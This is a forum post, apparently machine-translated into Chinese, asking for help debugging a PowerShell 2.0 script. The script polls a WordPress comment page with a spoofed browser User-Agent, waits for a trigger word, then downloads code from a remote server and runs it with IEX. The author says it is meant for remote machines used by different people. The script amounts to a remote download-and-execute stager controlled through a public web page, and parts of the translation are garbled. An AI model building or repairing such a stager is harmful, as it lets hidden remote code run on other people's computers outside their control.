我是一个非常强大的新手,所以请放纵;)
我正在尝试编写一个脚本,其中机器检查外部网站等待单词:“test”执行下载。事情是这样的:
$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")
While($True) {
$CommentResult = $WebClientObject.DownloadString($comment)
$Found = $CommentResult.contains($Word)
If ($Found) {
IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
#Task_to_do and some blabla commands
Return
}
Start-Sleep -Seconds 60
}
我正在运行powershell 2.0。 Windows7的
发生了什么:
接下来我做了什么:
- > While($ True)启动无限循环而不退出它。
为了制作我需要“双击键盘上的返回”的技巧,循环的结束和“downloadstring”命令最终被执行。
还记得我不仅仅是一个新手,对吧? :(
有人请指出我做这件事的方法......? :)
非常感谢。
更新 这些小行应该由不同地方的不同人使用(这是被驱逐的网站的原因之一),我只是没有可能将远程机器更新为更新版本的powershell。 如果有人在他的联系中有任何Microsoft powershell大师,那将只是一个巨大的帮助。谢谢大家。
更新#2 通过为<(;)更改 并通过 Break 更改返回并不能解决问题。